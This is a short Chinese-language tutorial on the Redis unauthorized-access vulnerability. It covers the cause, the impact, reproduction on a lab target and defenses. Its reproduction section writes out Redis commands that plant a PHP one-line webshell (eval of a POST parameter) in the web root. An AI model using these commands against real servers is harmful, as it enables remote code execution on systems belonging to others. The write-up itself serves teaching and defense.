Redis未授权访问漏洞

redis简介

redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。

漏洞原理

1. redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网。
2. 没有设置密码认证（一般为空）或者设置弱口令密码，导致任何用户可以远程登录redis服务。

漏洞危害：

(1) 攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据；
(2) 攻击者可通过执行lua代码，或通过数据备份功能往磁盘写入后门文件；
(3) 最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器;

漏洞复现

扫描靶机端口，看是否开放6379端口

发现6379开放，且是redis服务，于是用redis客户端直接连接，看是否存在密码。使用info命令i查看基本信息。 

发现没有密码，可以直接登录，info命令有回显。证明存在redis未授权访问漏洞。

写入一句话木马

config set dir /var/www/html/ 
config set  dbfilename shell.php 
set x "<?php eval($_POST['cmd']);?>" 
或者：
set shell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save

 防御方法

1、禁止外部访问Redis服务端口;
2、禁止使用root权限启动redis服务;
3、配置安全组，限制可连接Redis服务器的IP;